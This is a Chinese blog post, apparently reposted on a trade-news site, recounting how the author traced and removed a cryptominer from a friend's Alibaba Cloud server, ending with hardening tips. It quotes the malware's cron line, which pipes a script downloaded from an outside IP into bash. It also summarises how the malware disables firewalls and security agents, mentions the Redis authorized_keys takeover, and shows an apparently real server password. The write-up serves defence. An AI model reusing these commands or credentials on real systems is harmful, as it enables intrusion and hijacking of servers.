早囤网
当前位置:首页>>资讯>>企业动态>>云服务器挖矿(云服务器被黑客攻击)
早囤网囊括了全国大部分优质的食品酒水饮料企业,为用户提供最新最全面的行业信息!

云服务器挖矿(云服务器被黑客攻击)

   发布日期:2022-12-09  浏览次数:107
核心提示:云服务器挖矿(云服务器被黑客攻击)哈喽,大家好,我是老表~昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后

云服务器挖矿(云服务器被黑客攻击)

哈喽,大家好,我是老表~

昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后阿里云官方把服务器给关停了。

上传中

不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题。

解禁服务器

要解决问题、排查删除挖矿程序,首先我们需要解禁服务器,登录阿里云官方平台后,依次点击 ->  -> 进入相关页面。

控制台

个人头像

安全管控

上传中

在处罚列表,我们可以看到相关处罚记录,点击后即可正常进入服务器了。

解除封禁

上传中

会有提示,需要在解禁后三日内找到挖矿程序,并删除,否则官方会再次封禁服务器,而且无法再次进行解封(差不多意思就是,这个服务器就废了!直接被官方回收)

上传中

问题排查

“黑客”是怎么登录控制我的服务器的?

我们首先可以看阿里云提供的,发现确实有一个漏洞,提示:。

漏洞管理监测

Redis 未授权弱口令

上传中

我网络上查了,确实可以通过Redis向系统注入本地公钥到服务器的中,然后“黑客”就可以在本地免密登录你的服务器了。。。

/root/.ssh/authorized_keys

上传中

所以,如果你的服务器上安装了redis的话,可以首先考虑这个问题,引起这个问题的主要原因一般有:

  • Redis设置了可远程登录(公网访问)

  • Redis没有设置密码或者密码很简单

所以不是业务需求的话,不要开放redis远程登录,另外设置一个较为复杂的、不会在网络出现的密码,开放端口也可以改下,另外还有一个点就是不要用root用户启动redis,这样即使远程连接上redis,也无法去修改root下权限了~

具体相关介绍可以看这篇文章:blog.csdn.net/fdl123456/a…

上面了了可能是redis弱命令导致了“黑客”有机会登录我们的服务器,但我看了,我朋友的服务器上并没有安装redis(也不知道为啥阿里云会检测出这个漏洞)。。。

那我继续找问题,首先需要登录服务器,问登录密码的时候发现,登录密码在(阿里云客服)工单里?有点懵哈哈哈哈。。。

上传中

原来我这个朋友,之前因为自己改登录密码后没法远程连接,所以提工单找过客服帮忙改远程连接密码,而客服设置的密码应该算比较常见。。。到目前,个人感觉应该是远程连接密码被破解/泄漏,导致的挖矿程序侵入。(欢迎大家指正哈)

Aliyun2021@zSS

上传中

找到挖矿程序

一般来说,挖矿程序要想一直运行,那么必然会设置一些定时任务,在linux下一般用cron进行设置,其中用户可以使用crontab来设置定时任务。

首先我们可以输入编辑root用户的crontab文件内容,看看是否有定时任务;

crontab -e

  1. crontab -e

  2. 复制代码

(默认是使用vim编辑器,如果要退出编辑模式,可以先按ESC,再输入 回车即可退出,Linux相关操作具体可以看拥有有一台服务器后,我竟然这么酷?)进入文件编辑,虽然指令不怎么能看懂,但是看到了一个网址、一个ip地址,首先非常确定这个ip不是我目前登录的这个服务器的,而且看整理链接,应该是下载了一个文件,有点矿味了~

:qw

a.sh

  1. */30 * * * * /bin/cdz -fsSL http://104.192.82.138/sxxxxx5/a/a.sh | bash > /dev/null 2>&1

  2. 复制代码

我退出后,他还显示我没有修改权限?他奶奶的~可以使用查看文件权限所属人,当然可以直接用指令强制修改或者删除。

ls -l /tmp/crontab.LQJ6aT

sudo

上传中

我们可以查了下这个IP地址基本信息,可以看到,是一个美国的ip~那就八九不离十了,就是个挖矿的!!!

上传中

那我们就继续来研究下前面找到的问题,首先进入到目录下,查看所有crontab相关文件内容~

crontab

/tmp

上传中

发现有的有,有的没有,我们直接使用删除所有相关文件:

rm -rf 文件名

  1. sudo rm -rf crontab.*

  2. 复制代码

我以为应该这样就好了,再次运行,发现会生成新的文件,而且自动有挖矿的内容~离谱!!!

crontab -e

crontab.*

上传中

思前想后,可能是配置的问题,输入下面指令看看相关配置文件~果不其然,

crontab

  1. cat /etc/crontab

  2. 复制代码

上传中

虽然还是不能完全看懂命令含义,但是看到这个就知道没好事,

newinit.sh

于是在自己云服务器上看了看,果然不同。

上传中

从网络上相关教程也可以看出,我自己的是正常的~

crontab

上传中

那是不是修改下配置文件就可以了呢?

crontab

简单分析挖矿程序

我们得来看看这个shit的挖矿脚本!!!从配置文件可以看出这个脚本在,我们直接使用来查看这个文件内容,

/etc/newinit.sh

nano

  1. nano /etc/newinit.sh

  2. 复制代码

可以看到这个脚本一共有125行代码~其他看不懂,这个函数名看懂了kill主进程~

上传中

接下来我们来一起看看,他这个脚本都做了些什么(老表我对linux相关操作并不熟悉,所以以下关于脚本文件的简单分析难免会有不正确或者错误的地方,敬请大家批评指正,但不可恶意攻击~):

part one

  • 设置,修改了两个目录的权限,而可用于修改Linux文件系统上的文件属性,这样就是为什么之前即使在root用户下也会显示无法修改文件的原因。

  • ulimit

  • chattr

  • chattr

  • 关闭iptables和ufw防火墙、nmi(不可屏蔽的中断)看门狗,修改文件目录权限为只可追加、删除tmp、var文件夹中某些文件

上传中

part two

  • 这里比较简单,设置了一些文件路径,然后进行一些乱七八糟的mv操作,相当于文件重命名了~

上传中

part three

  • 大制作了,卸载阿里云相关的安全防护,阿里云安骑士aegis。

上传中

part four

  • 挖矿程序配置,这个是一个可执行程序,估计就是挖矿程序,就是现在正在简单分享的挖矿程序脚本,也就是即使我把本地的脚本文件删除了,如果这里没删除,他又会从他自己的服务器上下载。

  • zzh

  • newinit.sh

上传中

part five

  • 这里不太理解,大概在判断程序指令是否正常?如果不正常就修改文件权限?有了解的可以补充下哈~

上传中

finally

  • 感觉是一个函数,有却没有,看函数意思是删除主程序进程,

  • {

  • }

  •  显示各种网络相关信息,

  • netstat -anp

  • 进行ip或者端口查找,定位到行,

  • grep

  • 按指定设置输出对应文本,比如 按空格/tab为界限输出文本中的第七项内容,

  • awk

  • awk '{print $7}'

  • 是管道命令,作用是将左侧命令执行结果作为参数传递给右侧命令执行(需要经过xargs转换),

  • |

  • 可以将管道命令的左侧执行结果转换成命令行参数,传递给右侧命令执行

  • xargs

上传中

最后,我又看了下part four中提到的挖矿程序配置里的链接,不看不知道,一看吓一跳,原来这个有996行代码(是在暗示什么吗!!!)

修改了很多系统配置~如果服务器里要是有什么重要的东西,或者之前配过什么很麻烦的环境,要修改还是挺麻烦了!

上传中

清理挖矿程序

最简单的方法就是直接重置系统,我这里也选择的这种方法,因为这个朋友服务器里没啥要备份的。

如前面所说,如果有很多重要东西和难配置的环境,你不想花时间备份和再配置一变,你可以选择根据挖矿脚本程序去一个个修复他对系统的修改。。。看着996行代码就觉得心累!

重置系统的话就相对会简单很多,进入到阿里云控制台,然后找到对应实例,先停止服务器,然后点击 ->  -> 。

更多

云盘和镜像

更换操作系统

上传中

会有一个更换提醒,建议仔细看一遍。

上传中

更换操作系统可以选择和之前一样的配置,或者其他配置,然后点击即可。

确认订单

上传中

更换成功后,会自动启动服务器,我们可以点击,然后尝试远程登录下。

管理控制台

上传中

这里相关操作和设置和我们之前分享的拥有有一台服务器后,我竟然这么酷?中的介绍基本一致,通过下图,我们可以看到配置是正常的了。

crontab

上传中

最后我们可以过一段时间后看看cpu使用情况,可以看到之前基本都是100%使用率,重置系统后,使用率变成了2.6%左右。

上传中

服务器安全防范建议

首先防范的前提是不影响我们使用,甚至所有操作应该是方便我们使用的。

1、目前我还是推荐初次接触或者对云服务器不熟的读者朋友使用来登录、操作服务器内容,具体功能和使用方法,大家可以看我之前的分享Linux里的宝塔,真正的宝塔!详细教程。

宝塔面板

2、所有安装的应用服务,尽量不要使用默认端口号,有密码的设置密码,不要嫌麻烦,可以是用这个网站生成随机密码,我之前也分享过一个脚本~

1password.com

  1. import string

  2. import random

  3. while True:

  4.    try:

  5.        password_len = int(input('请输入密码长度(只能是数字):'))

  6.        password = ''.join(random.choices(string.printable.strip(), k=password_len))

  7.        print(f'你的新密码为:{password},请保存好~')

  8.    except Exception as e:

  9.        print(f'【出错啦】看看是不是输入错误吧,可能是输入了非数字内容,错误信息:{e}')

  10.    print('*** 想结束就输入0吧!!!***')

  11.    print('*** 回车继续生成新密码 ***')

  12.    flag = input('是否继续生成新密码:')

  13.    if flag == '0':

  14.        break

  15.    print('******************************************')

  16. 复制代码

上传中

3、系统自带的防火墙、安全防护都不要关闭~

其他的方法,欢迎大家补充~今天就到这里啦!

坚持 and 努力 : 终有所获。

点赞 在看 留言 转发 ,四连支持。好的,那么下期见,我是爱猫爱技术,更爱思思的老表⁽⁽ଘ( ˙꒳˙ )ଓ⁾⁾


 
 
反对 0举报 0 收藏 0 打赏 0

 

 
推荐图文
推荐资讯
点击排行
买家保障支持先行赔付
担保交易保障每一笔交易
实地验厂真实性并拍照取证
委托找厂5万家工厂等您下单
手机客户端随时随地 快捷方便
企业名录| 资讯| 供应|